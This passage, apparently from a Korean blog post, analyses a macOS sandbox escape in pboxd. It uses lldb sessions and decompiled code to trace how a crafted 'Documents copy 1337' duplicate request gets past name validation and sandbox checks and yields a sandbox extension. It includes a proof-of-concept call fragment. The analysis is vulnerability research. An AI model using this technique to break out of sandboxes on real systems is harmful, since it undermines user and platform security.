stringWithFormat:@\"\/Users\/%@\/Documents copy 1337\", NSUserName()]; \/\/_validateDuplicateDocumentName:withOriginalName: arg1\n    NSURL *copiedURL = [NSURL fileURLWithPath:copiedPath];\n    \n    NSError *_error = nil;\n\n    int64_t result = PBOXDuplicateRequest(documentsURL, copiedURL, _error);\n<\/pre>\n\n\n\n<p>\uadf8\ub7ec\uba74 \ud574\ub2f9 \ucde8\uc57d\uc810\uc774 \uc788\ub294 \uba54\uc18c\ub4dc\uc5d0\uc11c \uc2e4\ud589\uc774 \uc911\ub2e8\ub41c\ub2e4.<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">(lldb) c\nProcess 958 resuming\nProcess 958 stopped\n* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 2.1\n    frame #0: 0x000000010074373c com.apple.security.pboxd`___lldb_unnamed_symbol509\ncom.apple.security.pboxd`___lldb_unnamed_symbol509:\n->  0x10074373c &lt;+0>:  pacibsp \n    0x100743740 &lt;+4>:  stp    x28, x27, [sp, #-0x20]!\n    0x100743744 &lt;+8>:  stp    x29, x30, [sp, #0x10]\n    0x100743748 &lt;+12>: add    x29, sp, #0x10\n    \n\n(lldb) po $x0\n&lt;PBOXRelatedItemSession: 0xb101a90e0>\n\n(lldb) reg read x1\n      x1 = 0x0000000100750fab  \"_requestDuplicateDocument:withDuplicateName:error:\"\n(lldb) po $x2\n\/Users\/seo\/Documents\n\n(lldb) po $x3\n\/Users\/seo\/Documents copy 1337\n<\/pre>\n\n\n\n<p>PBOXDuplicateRequest \ud568\uc218\uc5d0 \ub118\uae34 \ub9e4\uac1c\ubcc0\uc218\uac00 \uadf8\ub300\ub85c \ub118\uc5b4\uac00<\/p>\n\n\n\n<p>a3 = \u201c\/Users\/seo\/Documents\u201d<\/p>\n\n\n\n<p>a4 = \u201c\/Users\/seo\/Documents copy 1337\u201d\uac00 \ub4e4\uc5b4\uac04\ub2e4.<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">id __cdecl -[PBOXRelatedItemSession _requestDuplicateDocument:withDuplicateName:error:](\n        PBOXRelatedItemSession *self,\n        SEL a2,\n        id a3,\n        id a4,\n        id *a5)\n<\/pre>\n\n\n\n<p>\uba3c\uc800 a3, a4\uc5d0 \ub4e4\uc5b4\uac04 \uacbd\ub85c\uc5d0\uc11c \uac01\uac01 \ub9c8\uc9c0\ub9c9 \uacbd\ub85c \ucef4\ud504\ub10c\ud2b8\ub97c \uc81c\uac70\ud558\uc5ec v60, v59 \ubcc0\uc218\uc5d0 \uc800\uc7a5\ud55c\ub2e4. stringByPBOXRealPath \uba54\uc18c\ub4dc\ub294 \ub0b4\ubd80\uc801\uc73c\ub85c realpath_DARWIN_EXTSN \ud568\uc218\ub97c \ud638\ucd9c\ud558\uc5ec \uc2e4\uc81c \uc808\ub300 \uacbd\ub85c\ub97c \uad6c\ud574\uc900\ub2e4.<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">  v65 = self;\n  location[1] = (id)a2;\n  location[0] = 0;\n  objc_storeStrong(location, a3);\n  v63 = 0;\n  objc_storeStrong(&amp;v63, a4);\n  v62 = a5;\n  v61 = 0;\n  v46 = objc_retainAutoreleasedReturnValue(objc_msgSend(location[0], \"stringByDeletingLastPathComponent\"));\/\/ \/Users\/seo\/Documents -> \/Users\/seo, a3\uc5d0 \ub4e4\uc5b4\uac04 \uacbd\ub85c\uc5d0\uc11c \ub9c8\uc9c0\ub9c9 \uacbd\ub85c \ucef4\ud3ec\ub10c\ud2b8\ub97c \uc81c\uac70\ud568\n  v60 = objc_retainAutoreleasedReturnValue(objc_msgSend(v46, \"stringByPBOXRealPath\"));\n  objc_release(v46);\n  v47 = objc_retainAutoreleasedReturnValue(objc_msgSend(v63, \"stringByDeletingLastPathComponent\"));\/\/ \/Users\/seo\/Documents copy 1337 -> \/Users\/seo, a4\uc5d0 \ub4e4\uc5b4\uac04 \uacbd\ub85c\uc5d0\uc11c \ub9c8\uc9c0\ub9c9 \uacbd\ub85c \ucef4\ud37c\ub10c\ud2b8\ub97c \uc81c\uac70\ud568\n  v59 = objc_retainAutoreleasedReturnValue(objc_msgSend(v47, \"stringByPBOXRealPath\"));\n  objc_release(v47);\n<\/pre>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">id __cdecl -[NSString stringByPBOXRealPath](NSString *self, SEL a2)\n{\n  NSString *v2; \/\/ x0\n  void *v3; \/\/ x0\n  id v6; \/\/ [xsp+18h] [xbp-28h] BYREF\n  void *v7; \/\/ [xsp+20h] [xbp-20h]\n  SEL v8; \/\/ [xsp+28h] [xbp-18h]\n  NSString *v9; \/\/ [xsp+30h] [xbp-10h]\n  id v10; \/\/ [xsp+38h] [xbp-8h]\n  __int64 vars8; \/\/ [xsp+48h] [xbp+8h]\n\n  v9 = self;\n  v8 = a2;\n  v2 = objc_retainAutorelease(self);\n  v7 = realpath_DARWIN_EXTSN(-[NSString fileSystemRepresentation](self, \"fileSystemRepresentation\"), 0);\n  if ( v7 )\n  {\n    v6 = objc_retainAutoreleasedReturnValue(+[NSString stringWithUTF8String:](&amp;OBJC_CLASS___NSString, \"stringWithUTF8String:\", v7));\n    free(v7);\n    v10 = objc_retain(v6);\n    objc_storeStrong(&amp;v6, 0);\n  }\n  else\n  {\n    v10 = 0;\n  }\n  v3 = v10;\n  if ( ((vars8 ^ (2 * vars8)) &amp; 0x4000000000000000LL) != 0 )\n    __break(0xC471u);\n  return objc_autoreleaseReturnValue(v3);\n}\n<\/pre>\n\n\n\n<p>\uc774\ud6c4\uc5d0\ub294 v60, v59 \ubcc0\uc218\uc5d0 \ub4e4\uc5b4\uac04 \ubb38\uc790\uc5f4\uc774 \uc11c\ub85c \uac19\uae30 \ub584\ubb38\uc5d0 LABEL_8\uc73c\ub85c \uc774\ub3d9\ud55c\ub2e4.<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">  if ( ((unsigned int)objc_msgSend(v60, \"isEqualToString:\", v59) &amp; 1) != 0 )\n    goto LABEL_8;\n  v43 = objc_retainAutoreleasedReturnValue(NSSearchPathForDirectoriesInDomains(NSDocumentDirectory, 1u, 1));\n  v42 = objc_retainAutoreleasedReturnValue(-[NSArray lastObject](v43, \"lastObject\"));\n  v58 = objc_retainAutoreleasedReturnValue(objc_msgSend(v42, \"stringByPBOXRealPath\"));\n  objc_release(v42);\n  objc_release(v43);\n  if ( v58 )                                 \n  {\n    if ( ((unsigned int)objc_msgSend(v58, \"isEqualToString:\", v59) &amp; 1) != 0 ) \n    {\n      v57 = 0;\n    }\n    else\n    {\n      v40 = objc_retainAutoreleasedReturnValue(\n              +[NSError errorWithDomain:code:userInfo:](\n                &amp;OBJC_CLASS___NSError,\n                \"errorWithDomain:code:userInfo:\",\n                NSPOSIXErrorDomain,\n                1,\n                0));\n      v5 = objc_autorelease(v40);\n      *v62 = v40;\n      v66 = 0;\n      v57 = 1;\n    }\n  }\n  else\n  {\n    v41 = objc_retainAutoreleasedReturnValue(+[RVSLogger defaultLogger](&amp;OBJC_CLASS___RVSLogger, \"defaultLogger\"));\n    objc_msgSend(v41, \"debug:\", CFSTR(\"NSSearchPathForDirectoriesInDomains returns no Documents directory\"));\n    objc_release(v41);\n    v66 = 0;\n    v57 = 1;\n  }\n  objc_storeStrong(&amp;v58, 0);\n  if ( !v57 )\n  {\nLABEL_8:\n...\n  }\n  objc_storeStrong(&amp;v59, 0);\n  objc_storeStrong(&amp;v60, 0);\n  objc_storeStrong(&amp;v61, 0);\n  objc_storeStrong(&amp;v63, 0);\n  objc_storeStrong(location, 0);\n  v18 = v66;\n  if ( ((vars8 ^ (2 * vars8)) &amp; 0x4000000000000000LL) != 0 )\n    __break(0xC471u);\n  return objc_autoreleaseReturnValue(v18);\n}\n<\/pre>\n\n\n\n<p>\uac01 \ub9c8\uc9c0\ub9c9 \ucef4\ud3ec\ub108\ud2b8 \ud30c\uc77c \uc774\ub984\uc5d0\uc11c \ud655\uc7a5\uc790\uac00 \uc788\ub294\uc9c0 \ud30c\uc2f1\ud558\uace0,<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">  if ( !v57 )                                   \/\/ v56 should be 0, to enter if statement\n  {\nLABEL_8:\n    v56 = objc_retainAutoreleasedReturnValue(objc_msgSend(location[0], \"lastPathComponent\"));\/\/ \/Users\/seo\/Documents -> Documents\n    v55 = objc_retainAutoreleasedReturnValue(objc_msgSend(v63, \"lastPathComponent\"));\/\/ \/Users\/seo\/Documents copy 1337 -> Documents copy 1337\n    v37 = objc_retainAutoreleasedReturnValue(objc_msgSend(v56, \"pathExtension\"));\/\/ Documents -> nil\n    v38 = objc_retainAutoreleasedReturnValue(objc_msgSend(v55, \"pathExtension\"));\/\/ Documents copy 1337 -> nil\n<\/pre>\n\n\n\n<p>\ud655\uc7a5\uc790\uac00 \ub458\ub2e4 nil\uc774\uae30\uc5d0 \ucc38\uc774 \ub41c\ub2e4.<\/p>\n\n\n\n<p>\ub530\ub77c\uc11c if \ubb38\uc548\uc5d0 \uc788\ub294 \ucf54\ub4dc\uac00 \uc9c4\uc785\ud558\uc9c0 \uc54a\ub294\ub2e4.<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">if ( ((unsigned __int8)objc_msgSend(v37, \"isEqualToString:\") &amp; 1) == 0 )\/\/ nil == nil\n    {\n      v54 = objc_retainAutoreleasedReturnValue(objc_msgSend(v55, \"pathExtension\"));\n      v53 = 1;\n      v39 = sub_10001332C(v54) ^ 1;\n    }\n<\/pre>\n\n\n\n<p>\uadf8\ub9ac\uace0 v53\uc740 \ucd08\uae30 \uc120\uc5b8\uc5d0\uc11c 0\uc744 \uc9c0\uc815\ud588\uae30\uc5d0 else \ubb38\uc73c\ub85c \uc9c4\uc785\ud558\uac8c \ub41c\ub2e4..<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">if ( (v53 &amp; 1) != 0 )\n      objc_release(v54);\n    objc_release(v38);\n    objc_release(v37);\n    if ( (v39 &amp; 1) != 0 )\n    {\n      v36 = objc_retainAutoreleasedReturnValue(\n              +[NSError errorWithDomain:code:userInfo:](\n                &amp;OBJC_CLASS___NSError,\n                \"errorWithDomain:code:userInfo:\",\n                NSPOSIXErrorDomain,\n                1,\n                0));\n      v6 = objc_autorelease(v36);\n      *v62 = v36;\n      v66 = 0;\n      v57 = 1;\n    }\n    else \/\/else \ubb38 \uc9c4\uc785!!!!\n    {\n    ...\n<\/pre>\n\n\n\n<p>else \ubb38 \ub4a4\uc5d0\ub294 +[NSDocument _validateDuplicateDocumentName:withOriginalName:] \uba54\uc18c\ub4dc\ub97c \ud1b5\ud574 \uc5b4\ub5a0\ud55c \uac80\uc99d\uc744 \ud558\uace0 \uc788\ub294\ub370, \uc6b0\uc120 \uac80\uc99d\ud558\ub294 \uba54\uc18c\ub4dc\uc758 \uac01\uac01 \ub9e4\uac1c\ubcc0\uc218\uc5d0\ub294 \ud655\uc7a5\uc790\ub97c \uc81c\uac70\ud55c \ud30c\uc77c \uc774\ub984\uc774 \ub4e4\uc5b4\uac04\ub2e4.<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">else\n    {\n      v34 = objc_retainAutoreleasedReturnValue(objc_msgSend(v55, \"stringByDeletingPathExtension\"));\n      v33 = objc_retainAutoreleasedReturnValue(objc_msgSend(v56, \"stringByDeletingPathExtension\"));\n      v35 = (unsigned __int8)+[NSDocument _validateDuplicateDocumentName:withOriginalName:](\n                               &amp;OBJC_CLASS___NSDocument,\n                               \"_validateDuplicateDocumentName:withOriginalName:\",\n                               v34); \n      objc_release(v33);\n      objc_release(v34);\n<\/pre>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">(lldb) c\nProcess 958 resuming\nProcess 958 stopped\n* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 17.1\n    frame #0: 0x0000000100743b3c com.apple.security.pboxd`___lldb_unnamed_symbol509 + 1024\ncom.apple.security.pboxd`___lldb_unnamed_symbol509:\n->  0x100743b3c &lt;+1024>: bl     0x10074d0c0\n    0x100743b40 &lt;+1028>: mov    x8, x0\n    0x100743b44 &lt;+1032>: ldr    x0, [sp, #0xb0]\n    0x100743b48 &lt;+1036>: str    w8, [sp, #0xc4]\nTarget 0: (com.apple.security.pboxd) stopped.\n(lldb) po $x0\nNSDocument\n\n(lldb) po $x1\n&lt;nil>\n\n(lldb) po $x2\nDocuments copy 1337\n\n(lldb) po $x3\nDocuments\n<\/pre>\n\n\n\n<p>+[NSDocument _validateDuplicateDocumentName:withOriginalName:] \ud574\ub2f9 \uba54\uc18c\ub4dc\ub294 AppKit \ub77c\uc774\ube0c\ub7ec\ub9ac\uc5d0 \ub4e4\uc5b4\uac00\uc788\ub2e4.<\/p>\n\n\n\n<p>\uba54\uc18c\ub4dc \ubc18\ud658\uc774 \ucc38\uc774 \ub420\ub824\uba74 \uc870\uac74\uc740 \ub2e4\uc74c\uacfc \uac19\ub2e4.<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>\u201c\ubcf5\uc81c\uba85(\uccab \ubc88\uc9f8 \uc778\uc790)\u201d\uc758 \uc22b\uc790 \ubd80\ubd84<\/strong>\uc774 <strong>\u201c\uc6d0\ubcf8\uba85(\ub450 \ubc88\uc9f8 \uc778\uc790)\u201d\uc758 \uc22b\uc790 \ubd80\ubd84<\/strong>\ubcf4\ub2e4 <strong>\ucee4\uc57c<\/strong> \ud55c\ub2e4.<\/li>\n\n\n\n<li><strong>\ub450 \uc774\ub984\uc758 \u201c\uae30\ubcf8 \uc774\ub984(base name)\u201d<\/strong>(\uc22b\uc790 \uc811\ubbf8\uc0ac\ub97c \uc81c\uc678\ud55c \uc55e\ubd80\ubd84)\uc774 <strong>\uc11c\ub85c \ub3d9\uc77c\ud574\uc57c<\/strong> \ud55c\ub2e4.<\/li>\n<\/ol>\n\n\n\n<p>\ub530\ub77c\uc11c \ub450\ubc88\uc9f8 \ub9e4\uac1c\ubcc0\uc218\uc5d0 Documents copy 1337 \ub4e4\uc5b4\uac04 \uc774\uc720 \uc911 \ud558\ub098\uc774\ub2e4.<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">bool __cdecl +[NSDocument _validateDuplicateDocumentName:withOriginalName:](id a1, SEL a2, id a3, id a4)\n{\n  id v6; \/\/ x19\n  id v7; \/\/ x20\n  id v8; \/\/ x21\n  id v9; \/\/ x22\n  unsigned __int8 v10; \/\/ w23\n  id v12; \/\/ [xsp+0h] [xbp-50h] BYREF\n  id v13; \/\/ [xsp+8h] [xbp-48h] BYREF\n  __int64 v14; \/\/ [xsp+10h] [xbp-40h] BYREF\n  __int64 v15; \/\/ [xsp+18h] [xbp-38h] BYREF\n\n  v6 = objc_retain(a3);\n  v7 = objc_retain(a4);\n  v14 = 0;\n  v15 = 0;\n  v13 = 0;\n  objc_msgSend(a1, \"_parseBaseName:number:fromDisplayName:\", &amp;v13, &amp;v15, v6);\n  v8 = objc_retain(v13);\n  v12 = 0;\n  objc_msgSend(a1, \"_parseBaseName:number:fromDisplayName:\", &amp;v12, &amp;v14, v7);\n  v9 = objc_retain(v12);\n  if ( v15 &lt;= v14 )\n    v10 = 0;\n  else\n    v10 = (unsigned __int8)objc_msgSend(v8, \"isEqualToString:\", v9);\n  objc_release(v9);\n  objc_release(v8);\n  objc_release(v7);\n  objc_release(v6);\n  return v10;\n}\n<\/pre>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">void __cdecl +[NSDocument _parseBaseName:number:fromDisplayName:](id a1, SEL a2, id *a3, signed __int64 *a4, id a5)\n{\n  id v8; \/\/ x19\n  id v9; \/\/ x24\n  id v10; \/\/ x25\n  void *v11; \/\/ x23\n  void *v12; \/\/ x24\n  __int64 v13; \/\/ x25\n  void *v14; \/\/ x26\n  id v15; \/\/ x0\n  __int128 v16; \/\/ [xsp+0h] [xbp-130h] BYREF\n  __int128 v17; \/\/ [xsp+10h] [xbp-120h]\n  __int128 v18; \/\/ [xsp+20h] [xbp-110h]\n  __int128 v19; \/\/ [xsp+30h] [xbp-100h]\n  _QWORD v20[2]; \/\/ [xsp+48h] [xbp-E8h] BYREF\n  _BYTE v21[128]; \/\/ [xsp+58h] [xbp-D8h] BYREF\n  __int64 v22; \/\/ [xsp+D8h] [xbp-58h]\n\n  v22 = *MEMORY[0x1E8BC4698];\n  v8 = objc_retain(a5);\n  v16 = 0u;\n  v17 = 0u;\n  v18 = 0u;\n  v19 = 0u;\n  v9 = objc_retainAutoreleasedReturnValue((id)_NXKitString(CFSTR(\"Document\"), CFSTR(\"%@ copy\")));\n  v20[0] = v9;\n  v10 = objc_retainAutoreleasedReturnValue((id)_NXKitString(CFSTR(\"Document\"), CFSTR(\"%@ copy %@\")));\n  v20[1] = v10;\n  v11 = objc_retainAutoreleasedReturnValue(objc_msgSend(MEMORY[0x1E8B488C8], \"arrayWithObjects:count:\", v20, 2));\n  objc_release(v10);\n  objc_release(v9);\n  v12 = objc_msgSend(v11, \"countByEnumeratingWithState:objects:count:\", &amp;v16, v21, 16);\n  if ( v12 )\n  {\n    v13 = *(_QWORD *)v17;\n    while ( 2 )\n    {\n      v14 = 0;\n      do\n      {\n        if ( *(_QWORD *)v17 != v13 )\n          objc_enumerationMutation(v11);\n        if ( ((unsigned int)objc_msgSend(\n                              a1,\n                              \"_parseName:number:fromDisplayName:withTemplate:\",\n                              a3,\n                              a4,\n                              v8,\n                              *(_QWORD *)(*((_QWORD *)&amp;v16 + 1) + 8LL * (_QWORD)v14))\n            &amp; 1) != 0 )\n        {\n          objc_release(v11);\n          goto LABEL_11;\n        }\n        v14 = (char *)v14 + 1;\n      }\n      while ( v12 != v14 );\n      v12 = objc_msgSend(v11, \"countByEnumeratingWithState:objects:count:\", &amp;v16, v21, 16);\n      if ( v12 )\n        continue;\n      break;\n    }\n  }\n  objc_release(v11);\n  *a4 = 0;\n  v15 = objc_retainAutorelease(v8);\n  *a3 = v8;\nLABEL_11:\n  objc_release(v8);\n}\n<\/pre>\n\n\n\n<p>\ubc29\uae08 \uc5b8\uae09\ud55c \uba54\uc18c\ub4dc\ub294 \uc774\uc81c \ucc38\uc774 \ub418\uc5b4 v35\uac12\uc740 1\ub85c \uc9c0\uc815\ub41c\ub2e4.<\/p>\n\n\n\n<p>\uadf8\ub9ac\uace0 (unsigned int)sandbox_check_by_audit_token(v50, &#8220;file-write-data&#8221;, v31)\uc5d0\uc11c 1\uc744 \ubc18\ud658\ud558\ub294\ub370, \/Users\/seo\/Documents copy 1337 \ud30c\uc77c\uc744 \uc4f8 \uc218 \uc788\ub294\uc9c0 \ud655\uc778\ud55c\ub2e4. \uc0cc\ub4dc\ubc15\uc2a4\uc5d0 \uc758\ud574 \ub9c9\ud788\uae30 \ub54c\ubb38\uc5d0 1\uc744 \ubc18\ud658\ud55c\ub2e4.<\/p>\n\n\n\n<p>\uadf8\ub7ec\uba74 goto LABEL_19;\uc73c\ub85c \uc774\ub3d9\ud558\uc9c0 \uc54a\uace0 \ud55c\ubc88 \ub354 \uac80\uc0ac\ud558\ub294\ub370,<\/p>\n\n\n\n<p>(unsigned int)sandbox_check_by_audit_token(v49, &#8220;file-read-data&#8221;, v29) \ud638\ucd9c\uc744 \ud1b5\ud574 \/Users\/seo\/Documents \ub0b4\uc758 \ud30c\uc77c\uc744 \uc77d\uc744 \uc218 \uc788\ub294\uc9c0 \ud655\uc778\ud55c\ub2e4.<\/p>\n\n\n\n<p><strong>\uadf8\ub807\ub2e4\u2026<\/strong> <strong>\uc0ac\uc2e4\uc740 \/Users\/seo\/Documents \uc5d0 \uc77d\uae30 \uad8c\ud55c\uc744 \uc8fc\uc5b4\uc57c\ub9cc \uc0cc\ub4dc\ubc15\uc2a4 \ud0c8\ucd9c\uc774 \uac00\ub2a5\ud55c\uac83\uc774\ub2e4.<\/strong> <strong>\ub098\ub984 \uc81c\ud55c\uc801\uc774\ub77c\uace0 \ubcfc \uc218 \uc788\ub2e4.<\/strong><\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">v35 = (unsigned __int8)+[NSDocument _validateDuplicateDocumentName:withOriginalName:](\n                               &amp;OBJC_CLASS___NSDocument,\n                               \"_validateDuplicateDocumentName:withOriginalName:\",\n                               v34);\n      objc_release(v33);\n      objc_release(v34);\n      if ( (v35 &amp; 1) != 0 )\n      {\n        v52 = objc_retainAutoreleasedReturnValue(objc_msgSend(v60, \"stringByAppendingPathComponent:\", v56));\n        v51 = objc_retainAutoreleasedReturnValue(objc_msgSend(v59, \"stringByAppendingPathComponent:\", v55));\n        p_pid = &amp;v65->_pid;\n        v31 = SANDBOX_CHECK_NO_REPORT | 1 | SANDBOX_CHECK_CANONICAL;\n        v8 = objc_retainAutorelease(v52);\n        v9 = objc_msgSend(v52, \"UTF8String\");\n        v50[0] = *(_OWORD *)p_pid;\n        v50[1] = *((_OWORD *)p_pid + 1);\n        v20 = v9;\n        if ( !(unsigned int)sandbox_check_by_audit_token(v50, \"file-write-data\", v31) )\n          goto LABEL_19;\n        v28 = &amp;v65->_pid;\n        v29 = SANDBOX_CHECK_NO_REPORT | 1 | SANDBOX_CHECK_CANONICAL;\n        v27 = v52;\n        v10 = objc_retainAutorelease(v52);\n        v11 = objc_msgSend(v27, \"UTF8String\", v20);\n        v49[0] = *(_OWORD *)v28;\n        v49[1] = *((_OWORD *)v28 + 1);\n        v20 = v11;\n        if ( (unsigned int)sandbox_check_by_audit_token(v49, \"file-read-data\", v29) )\n        {\n          v26 = objc_retainAutoreleasedReturnValue(\n                  +[NSError errorWithDomain:code:userInfo:](\n                    &amp;OBJC_CLASS___NSError,\n                    \"errorWithDomain:code:userInfo:\",\n                    NSPOSIXErrorDomain,\n                    1,\n                    0,\n                    v20));\n          v12 = objc_autorelease(v26);\n          *v62 = v26;\n          v66 = 0;\n          v57 = 1;\n        }\n        else\n        {\nLABEL_19:\n          v24 = objc_retainAutoreleasedReturnValue(+[NSFileManager defaultManager](&amp;OBJC_CLASS___NSFileManager, \"defaultManager\", v20));\n          v25 = -[NSFileManager fileExistsAtPath:](v24, \"fileExistsAtPath:\", v51);\n          objc_release(v24);\n          if ( (v25 &amp; 1) != 0 )\n          {\n            v23 = objc_retainAutoreleasedReturnValue(\n                    +[NSError errorWithDomain:code:userInfo:](\n                      &amp;OBJC_CLASS___NSError,\n                      \"errorWithDomain:code:userInfo:\",\n                      NSPOSIXErrorDomain,\n                      17,\n                      0));\n            v13 = objc_autorelease(v23);\n            *v62 = v23;\n            v66 = 0;\n            v57 = 1;\n          }\n          else\n          {\n            v22 = v51;\n            v14 = objc_retainAutorelease(v51);\n            objc_msgSend(v22, \"UTF8String\");\n            v48 = (void *)sandbox_extension_issue_file();\n            if ( v48 )\n            {\n              v16 = objc_retainAutoreleasedReturnValue(+[NSString stringWithUTF8String:](&amp;OBJC_CLASS___NSString, \"stringWithUTF8String:\", v48));\n              v17 = v61;\n              v61 = v16;\n              objc_release(v17);\n              free(v48);\n              v66 = objc_retain(v61);\n            }\n            else\n            {\n              v21 = objc_retainAutoreleasedReturnValue(\n                      +[NSError errorWithDomain:code:userInfo:](\n                        &amp;OBJC_CLASS___NSError,\n                        \"errorWithDomain:code:userInfo:\",\n                        NSPOSIXErrorDomain,\n                        *__error(),\n                        0));\n              v15 = objc_autorelease(v21);\n              *v62 = v21;\n              v66 = 0;\n            }\n            v57 = 1;\n          }\n        }\n        objc_storeStrong(&amp;v51, 0);\n        objc_storeStrong(&amp;v52, 0);\n      }\n<\/pre>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">\n\/\/ (unsigned int)sandbox_check_by_audit_token(v50, \"file-write-data\", v31) \uc5d0\uc11c \ube0c\ub808\uc774\ud06c\ub428\n(lldb) c\nProcess 958 resuming\nProcess 958 stopped\n* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 18.1\n    frame #0: 0x0000000100743c80 com.apple.security.pboxd`___lldb_unnamed_symbol509 + 1348\ncom.apple.security.pboxd`___lldb_unnamed_symbol509:\n->  0x100743c80 &lt;+1348>: bl     0x10074c570    ; symbol stub for: sandbox_check_by_audit_token\n    0x100743c84 &lt;+1352>: cbz    w0, 0x100743d6c ; &lt;+1584>\n    0x100743c88 &lt;+1356>: b      0x100743c8c    ; &lt;+1360>\n    0x100743c8c &lt;+1360>: ldur   x8, [x29, #-0x20]\nTarget 0: (com.apple.security.pboxd) stopped.\n(lldb) po $x0\n6164372752\n\n(lldb) po $x1\n4302654342\n\n(lldb) po $x2\n1610612737\n\n(lldb) po $x3\n47513354648\n\n(lldb) po $x4\n21\n\n(lldb) po $x5\n1\n\n(lldb) po $x6\n\/Users\/seo\/Documents copy 1337\n\n(lldb) reg read x0\n      x0 = 0x000000016f6cdd10\n(lldb) reg read x0 x1 x2 x3 x4 x5 x6\n      x0 = 0x000000016f6cdd10\n      x1 = 0x0000000100754b86  \"file-write-data\"\n      x2 = 0x0000000060000001\n      x3 = 0x0000000b10044198\n      x4 = 0x0000000000000015\n      x5 = 0x0000000000000001\n      x6 = 0x0000000b101a9270\n      \n\/\/ (unsigned int)sandbox_check_by_audit_token(v49, \"file-read-data\", v29) \uc5d0\uc11c \ube0c\ub808\uc774\ud06c\ub428\n(lldb) c\nProcess 958 resuming\nProcess 958 stopped\n* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 20.1\n    frame #0: 0x0000000100743d10 com.apple.security.pboxd`___lldb_unnamed_symbol509 + 1492\ncom.apple.security.pboxd`___lldb_unnamed_symbol509:\n->  0x100743d10 &lt;+1492>: bl     0x10074c570    ; symbol stub for: sandbox_check_by_audit_token\n    0x100743d14 &lt;+1496>: cbz    w0, 0x100743d6c ; &lt;+1584>\n    0x100743d18 &lt;+1500>: b      0x100743d1c    ; &lt;+1504>\n    0x100743d1c &lt;+1504>: ldur   x1, [x29, #-0xf0]\nTarget 0: (com.apple.security.pboxd) stopped.\n(lldb) po $x0\n6164372720\n\n(lldb) po $x6\n&lt;2f557365 72732f73 656f2f44 6f63756d 656e7473 00>\n<\/pre>\n\n\n\n<p>\ub9cc\uc57d \/Users\/seo\/Documents\uc5d0 \uc77d\uae30 \uad8c\ud55c\uc774 \uc8fc\uc5b4\uc9c4\ub2e4\uba74\u2026 (unsigned int)sandbox_check_by_audit_token(v49, &#8220;file-read-data&#8221;, v29)\uc5d0\uc11c 0\uc744 \ubc18\ud658\ud574\uc900\ub2e4.<\/p>\n\n\n\n<p>\uadf8\ub7ec\uba74 else \ubb38\uc73c\ub85c \uc774\ub3d9\ud560 \uc218 \uc788\ub2e4.<\/p>\n\n\n\n<p>-[NSFileManager fileExistsAtPath:] \uba54\uc18c\ub4dc\ub97c \ud1b5\ud574 \/Users\/seo\/Documents copy 1337 \ud30c\uc77c\uc774 \uc874\uc7ac\ud558\ub294\uc9c0 \ud655\uc778\ud558\ub294\ub370, \uc874\uc7ac\ud558\uba74 